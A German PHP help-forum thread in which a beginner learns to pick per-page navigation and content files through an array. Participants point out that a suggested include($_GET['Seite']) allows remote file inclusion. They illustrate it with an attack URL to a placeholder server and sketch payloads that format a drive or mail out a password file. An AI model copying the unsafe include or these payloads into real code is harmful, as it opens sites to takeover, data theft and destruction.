Compiwurstel: Navigationsdatei laden

Hallo zusammen,
ich habe eine Datei (seite.php), in die per include-Befehl die Navigations-Datei geladen wird:

<div id="head"><?php include ( "../navig/nav_01.inc" ); ?></div>

Ansonsten ist die Datei "seite.php" eine Rahmendatei, in die hinein unterschiedliche Unterseiten geladen werden, die in einem Array (inc/config.php) zusammengefasst sind:

<?php
$dateien = array(); // ein Leeres Array erzeugen
$dateien[info1] = "info1.inc.php";
$dateien[info2] = "info2.inc.php";
$dateien[info3] = "info3.inc.php";
usw.
?>

Die Ausgabe erfolgt über die Datei "inc/info.php":

<?php
if(isset($_GET['section']) AND isset($dateien[$_GET['section']])) {
include $dateien[$_GET['section']];
} else {
include $dateien[info1];
}
?>

Soweit, so gut. Bei einzelnen der zu ladenden Dateien, hätte ich nun aber eine etwas andere Navigations-Datei geladen, also z.B. zu "info2.inc.php" die Datei "../navig/nav_02.inc".
Lässt sich dieser doppelte Aufruf per PHP steuern und wenn ja, wie, oder sollte das besser über ein JS "dirigiert" werden?

Viele Grüße
Compiwurstel

  1. Hellihello Compiwurstel

    Soweit, so gut. Bei einzelnen der zu ladenden Dateien, hätte ich nun aber eine etwas andere Navigations-Datei geladen, also z.B. zu "info2.inc.php" die Datei "../navig/nav_02.inc".
    Lässt sich dieser doppelte Aufruf per PHP steuern und wenn ja, wie, oder sollte das besser über ein JS "dirigiert" werden?

    da scheints du etwas misszuverstehen:

    $dateien[info2] = "irgendeineanderedatei.inc.php.oderandereendung";

    wäre ein ansatz...;

    ein anderer:
    include($_GET['Seite'])
    mit
    <a href="?Seite=meineirgendwasseite.irgendeineendung"> linktitel</a>

    frankx

    1. Hallo frankx,
      danke für deine Rückmeldung.

      da scheints du etwas misszuverstehen:

      Was scheine ich misszuverstehen?

      $dateien[info2] = "irgendeineanderedatei.inc.php.oderandereendung";

      wäre ein ansatz...;

      ein anderer:
      include($_GET['Seite'])
      mit
      <a href="?Seite=meineirgendwasseite.irgendeineendung"> linktitel</a>

      Wenn ich das richtig blicke, lade ich damit - so wie ich es ja bereits tue - die Seite "inc/info1.inc.php" in meine Seite "seite.php". Ich versteh nicht, wo die Alternative deines Vorschlags liegen soll (Kann aber an mir liegen ;-) )

      Gruß Compiwurstel

      1. Hi

        <a href="?Seite=meineirgendwasseite.irgendeineendung"> linktitel</a>

        Dies ist eine schlechte Alternative, sicherheitsrelevant sehr anfällig!!!!

        Was hälst du von einem mehrdimensionalen Array??? Damit könntest du die menu-Datei zusätzl. bestimmen oder default setzen!!

        Gruß Bobby

        1. Hallo Bobby,

          Was hälst du von einem mehrdimensionalen Array??? Damit könntest du die menu-Datei zusätzl. bestimmen oder default setzen!!

          Das klingt gut! Da ich aber in Sachen PHP noch ziemlicher Anfänger bin, meine Frage: wie geht sowas?

          Gruß Compiwurstek

          1. Hallo Bobby,

            Was hälst du von einem mehrdimensionalen Array??? Damit könntest du die menu-Datei zusätzl. bestimmen oder default setzen!!

            Das klingt gut! Da ich aber in Sachen PHP noch ziemlicher Anfänger bin, meine Frage: wie geht sowas?

            Schau mal bei www.php-einfach.de vorbei!!
            ist alles von Anfang an ziemlich gut erklärt und übersichtlich!!

            Link zu Array-ERklärung: http://php-einfach.de/einf_php_array.php

            Auf Wiederlesen
            siziwi

            1. Hallo siziwi,
              danke für den Tipp.

              Schau mal bei www.php-einfach.de vorbei!!
              ist alles von Anfang an ziemlich gut erklärt und übersichtlich!!

              Link zu Array-ERklärung: http://php-einfach.de/einf_php_array.php

              Ich kann mir jetzt so ungefähr vorstellen, wie das array aussehen müsste. Keinen Plan habe ich, wie ich dann den Aufruf gestalte, weil die eingebundenen Dateien ja an zwei verschiedenen Stellen innerhalb der Datei "seite.php" ausgegeben werden müssen.

              Gruß Compiwurstel

        2. Hellihello Bobby,

          Dies ist eine schlechte Alternative, sicherheitsrelevant sehr anfällig!!!!

          Was könnte denn da passieren, wenn ich damit lediglich include ???»

          Was hälst du von einem mehrdimensionalen Array??? Damit könntest du die menu-Datei zusätzl. bestimmen oder default setzen!!

          ja, oder einen switch basteln,

          case "seite1":
          include ("asdfasdf.dfcghn");
          include ("asdfasdfa.asdf");
          etc. pp.
          break;

          Gruß

          frankx

          1. Hallo frankx,

            case "seite1":
            include ("asdfasdf.dfcghn");
            include ("asdfasdfa.asdf");
            etc. pp.
            break;

            das klingt einfacher als ein mehrdimensionales array, aber wie gesagt, ich bin Anfänger. Wo käme denn der switch hin und wie müsste er genau aussehen?

            Gruß Compiwurstel

          2. Hi

            Was könnte denn da passieren, wenn ich damit lediglich include ???

            Damit ist es möglich, ohne ausreichende Schutzmechanismen, eine externe Datei in die Seite zu includieren. ich könnte z.B. www.irgendeinedomain.de?seite=http://www.irgendeinserver.de/irgendeine_schaedliche_php_datei.php ausführen!!!!!

            case "seite1":
            include ("asdfasdf.dfcghn");
            include ("asdfasdfa.asdf");
            etc. pp.
            break;

            case ist auch ok. Ist beides machbar. Mit mehrdimensionalen Array würde es ungefähr so aussehen:

            $dateien = array(
            "info1"=>array("inhalt"=>"info1.inc.php",
                           "navigation"=>"navigationsdatei"),
            "info2"=>array("inhalt"=>"info2.inc.php",
                           "navigation"=>navigationsdatei),
            .
            .
            .
            usw
            )

            Augerufen wird dann:
            $dateien['info1']['inhalt'] //variable für den Ihnalt 1.Seite
            $dateien['info1']['navigation'] //Variable für die Navigation 1.seite
            $dateien['info2']['inhalt'] //variable für den Ihnalt 2.Seite
            $dateien['info2']['navigation'] //Variable für die Navigation 2.seite

            Gruß Bobby

            1. Hallo Bobby,
              vielen Dank für die Antwort.

              $dateien = array(
              "info1"=>array("inhalt"=>"info1.inc.php",
                             "navigation"=>"navigationsdatei"),
              "info2"=>array("inhalt"=>"info2.inc.php",
                             "navigation"=>navigationsdatei),
              .
              .
              .
              usw
              )

              So ungefähr habe ich mir das inzwischen aufgrund es Links von siziwi vorgestellt, trotzdem gut, es nochmal umgesetzt zu sehen.

              Augerufen wird dann:
              $dateien['info1']['inhalt'] //variable für den Ihnalt 1.Seite
              $dateien['info1']['navigation'] //Variable für die Navigation 1.seite
              $dateien['info2']['inhalt'] //variable für den Ihnalt 2.Seite
              $dateien['info2']['navigation'] //Variable für die Navigation 2.seite

              Das ist mir noch nicht ganz klar:
              Wie genau würde denn der Link lauten?

              Gruß Compiwurstel

              1. Hi,

                Das ist mir noch nicht ganz klar:
                Wie genau würde denn der Link lauten?

                und zwar:

                <?php include("inc/".$dateien['info1']['inhalt']);?>
                // include für den Inhalt

                <?php include("inc/".$dateien['info1']['navigation']);?>
                // Include für die Navi

                Du wolltest doch diese beiden "Module" (Dateien-> Inhalt und Navi) nur includieren. Oder?
                Wäre m.E. auf alle Fälle angebracht!

                Gruß Bobby

                1. Hi,

                  oder auf deinen Code vom ersten Posting angepasst:

                  $section=$_GET['section'];
                  <?php include("inc/".$dateien[$section]['inhalt']);?>
                  // include für den Inhalt

                  <?php include("inc/".$dateien[$section]['navigation']);?>
                  // Include für die Navi

                  Gruß Bobby

                  1. Hallo Bobby,
                    danke für den Code!

                    Habe ich das richtig verstanden:
                    Die Datei "inc/info.php":

                    <?php
                    if(isset($_GET['section']) AND isset($dateien[$_GET['section']])) {
                    include $dateien[$_GET['section']];
                    } else {
                    include $dateien[info1];
                    }
                    ?>

                    bräuchte ich dann nicht mehr?

                    $section=$_GET['section'];

                    Wo käme das hin?

                    <?php include("inc/".$dateien[$section]['inhalt']);?>
                    // include für den Inhalt

                    <?php include("inc/".$dateien[$section]['navigation']);?>
                    // Include für die Navi

                    Beim Referenzieren würde ich den Link ganz normal auf die jeweilige Seite setzen, der Rest geht quasi automatisch durch das Array?

                    Gruß Compiwurstel

                    1. hi,

                      also nochmal ganz detailliert und langsam. Ich hoffe ich hatte dein System richtig verstanden:

                      Du hast eine "seite.php" welche als Gerüst fungiert und in welche die "config.php" die "nav_xx.inc.php" und die jeweilige "infoX.inc.php" includiert wird. Soweit Korrekt? Aufgrund dieses Grüstes wäre der Aufbau wie folgt:

                      ===========
                      config.php

                      <?php
                      $dateien = array(
                      "info1"=>array("inhalt"=>"info1.inc.php",
                                     "navigation"=>"navigationsdatei"),
                      "info2"=>array("inhalt"=>"info2.inc.php",
                                     "navigation"=>navigationsdatei),
                      .
                      .
                      .
                      usw
                      );
                      ?>

                      ==========
                      seite.php

                      <?php
                      include("inc/config.php");

                      //Abfrage ob Variable übergeben-> wenn keine übergeben dann....
                      if (!$_GET['section'])
                      {
                         $_GET['section']="info1";
                      }
                      ?>

                      .
                      .
                      irgendein HTML-Code
                      .
                      .
                      .

                      <?php include("//irgendein_Pfad".$dateien[$_GET['section']]['navigation']);
                       // Include für die Navi an der Stelle wo die Navi erscheinen soll
                      ?>

                      .
                      .
                      wieder HTML-Code
                      .
                      .
                      .

                      <?php include("//irgendein_Pfad".$dateien[$_GET['section']]['inhalt']);
                       // include für den Inhalt an der Stelle wo der Inhalt erscheinen soll
                      ?>
                      .
                      .
                      .
                      und nochmal HTML

                      ===========

                      Der Aufruf der Seite erfolgt mit: seite.php?section=infoX

                      Ich hoffe es war soweit verständlich

                      Grüße Bobby

                      1. Hallo Bobby,
                        ich danke dir tausendmal! Finde deine Mühe echt super!

                        Ich hoffe es war soweit verständlich

                        Ja, absolut! Werde es später ausprobieren und melde dann, ob's funzt. Muss im Moment noch was anderes erledigen.

                        Viele Grüße
                        Compiwurstel

                        1. Hallo Bobby

                          Ja, absolut! Werde es später ausprobieren und melde dann, ob's funzt. Muss im Moment noch was anderes erledigen.

                          Es hat doch etwas länger gedauert, weil ich noch die ganze Seite an ein neues Layout anpassen musste und ständig was dazwischen kam, aber...

                          Es funktioniert!!! Super!!

                          Nochmals vielen, vielen Dank und ein schönes Weihnachtsfest!

                          Gruß Compiwurstel

                      2. Hallo Bobby,
                        ich hab mich einen kleinen touch zu früh gefreut. Zwar laufen deine skripte super, auf einer Seite aber hakelt dafür jetzt ein anderes (das vorher lief!). Zur Info:

                        Auf manchen Seiten gibt es in einer Spalte der Dateien "info1.inc.php" (usw.) eine Zusatzinfo über bestimmte Personen, die genauso in "info1.inc.php" eingebunden waren, wie vorher "info1.inc.php" in "seite.php", allerdings mit eigenen Configurationsdateien, die so aussahen:

                        *******************
                        inc/por_config.php:
                        *******************

                        <?php
                        $dateien = array(); // ein Leeres Array erzeugen
                        $dateien[emp] = "empty.inc";
                        $dateien[p1] = "person1.inc";
                        $dateien[p2] = "person2.inc";
                        usw.
                        ?>

                        ************
                        inc.por.php:
                        ************

                        <?php
                        if(isset($_GET['section']) AND isset($dateien[$_GET['section']])) {
                        include $dateien[$_GET['section']];
                        } else {
                        include $dateien[emp];
                        }
                        ?>

                        ********************************
                        Einbindung in inc/info1.inc.php:
                        ********************************

                        <?php include ( "inc/por_config.php" ); ?>

                        <div id="por"><?php include ( "inc/por.php" ); ?></div>

                        Das bedeutet, beim Laden der Datei "info1.inc.php" bleibt der DIV-Container leer, erst der Aufruf des Links (<a href="?section=p1">Person1</a> lädt die Datei "person1.inc" in den Container.

                        Und genau da hakelt es jetzt. Beim Auslösen des Links erscheinen 2 Fehlermeldungen, die sich aber auf dein skript beziehen:

                        Warning: main(../navig/): failed to open stream: No such file or directory in ../kontakt/kontakt.php on line 48

                        und:

                        Warning: main(): Failed opening 'inc/' for inclusion (include_path='.:/usr/local/lib/php') in ../kontakt/kontakt.php on line 65

                        Beide Zeilen befinden sich in "seite.php" und beinhalten die Aufrufe für die Navigation und den Inhalt.

                        Wie löse ich das Problem?

                        Gruß Compiwurstel

                      3. Hab ich eben vergessen:

                        diese kleinen Info-Dateien "person1.inc" (usw.) sollen auch potentiell in alle anderen Seiten geladen werden können!

                        Gruß Compiwurstel

            2. Hellihello Bobby,

              Damit ist es möglich, ohne ausreichende Schutzmechanismen, eine externe Datei in die Seite zu includieren. ich könnte z.B. www.irgendeinedomain.de?seite=http://www.irgendeinserver.de/irgendeine_schaedliche_php_datei.php ausführen!!!!!

              Und die sieht dann so aus?

                
              <?php  
              echo '<?php shell_exec("format c://");?>';  
              ?>  
              //oder  
              <?php  
              echo '<?php $pwd=file_get_conntents("passwort.datei");mail("an@mich","",$pwd");?>';  
              ?>  
              
              

              oder wie? Es kommt bestimmt noch darauf an, ob auf der Seite was zu holen ist (also passwörter oder ähnliches) oder was könntet schädliches auf einer reinen Inhaltsseite geschehen?

              frankx

              1. Hallo frankx,

                Es kommt bestimmt noch darauf an, ob auf der Seite was zu holen ist (also passwörter oder ähnliches) oder was könntet schädliches auf einer reinen Inhaltsseite geschehen?

                Leider gibt es genügend selbsternannte "Hacker" die genau nach solchen Lücken suchen und eben mit solchen Mitteln Zugriff auch auf eine normale Inhaltsseite bekommen. Es ist z.B. denkbar das in fremden Webseiten schädlicher Code eingebaut wird, Oder Inhalte verändert werden, bzw bei falscher Severeinrichtung, auf die man als normaler HostingKunde keinen direkten Einfluß hat, Zugriff auf alle auf dem Server gelagerten Webseiten herstellt. Dies ist mittlerweile ein richtiger Volkssport geworden. Und Lücke auf die ich hinwies ist wohl die Offensichtlichste!!

                Ich bin der Meinung wenn sich jemand an PHP herantraut muß er sich auch mit der Sicherheit der Webseite beschäftigen. Soll er lieber gleich erkennen was möglich ist, und wo eventuell Probleme auftreten können!

                Gruß Bobby